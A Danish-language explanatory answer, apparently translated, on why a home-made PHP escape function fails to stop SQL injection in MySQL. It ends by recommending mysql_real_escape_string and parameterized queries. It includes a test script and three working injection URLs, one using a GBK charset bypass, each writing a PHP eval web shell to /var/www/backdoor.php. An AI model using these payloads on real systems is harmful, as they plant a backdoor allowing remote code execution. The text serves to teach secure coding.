Hvis du bare er erstatter '
med ''
så kan du udnytte dette ved at injicere en \'
som bliver til en \''
og dette vil give dig mulighed for at bryde ud, fordi dette giver dig et "bogstaveligt" enkelt-citat og et rigtigt enkelt-citat. Men erstatningen af "\\"
med "\\\\"
afkræfter dette angreb. Dobbelt-enkelt-citatet bruges til at "undslippe" enkelte anførselstegn for MS-SQL, men dette er ikke passende for MySQL, men det kan fungere.
Følgende koder beviser at denne escape-funktion er sikker for alle undtagen tre forhold . Denne kode gennemsyrer alle mulige variationer af kontrolcharter og tester hver enkelt for at sikre, at der ikke opstår en fejl med en enkelt citatindkapslet select-erklæring. Denne kode blev testet på MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Sårbar tilstand 1:ingen anførselstegn brugt.
mysql_query("select username from users where id=".escape($_GET['id']));
Udnyt:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Sårbar tilstand 2:Brugt dobbelte anførselstegn
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Udnyt:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Sårbar tilstand 2:enkelte anførselstegn bruges, dog en der bruges et alternativt tegnsæt. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Udnyt:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Konklusionen er altid at bruge mysql_real_escape_string()
som flugtrutinen for MySQL. Parametriserede forespørgselsbiblioteker som pdo og adodb bruger altid mysql_real_escape_string()
når den er tilsluttet en mysql-database. addslashes()
er LANGT BEDRE af en escape-rutine, fordi den tager sig af sårbar tilstand 2. Det skal bemærkes, at ikke engang mysql_real_escape_string()
vil stoppe betingelse 1, men et parametriseret forespørgselsbibliotek vil det.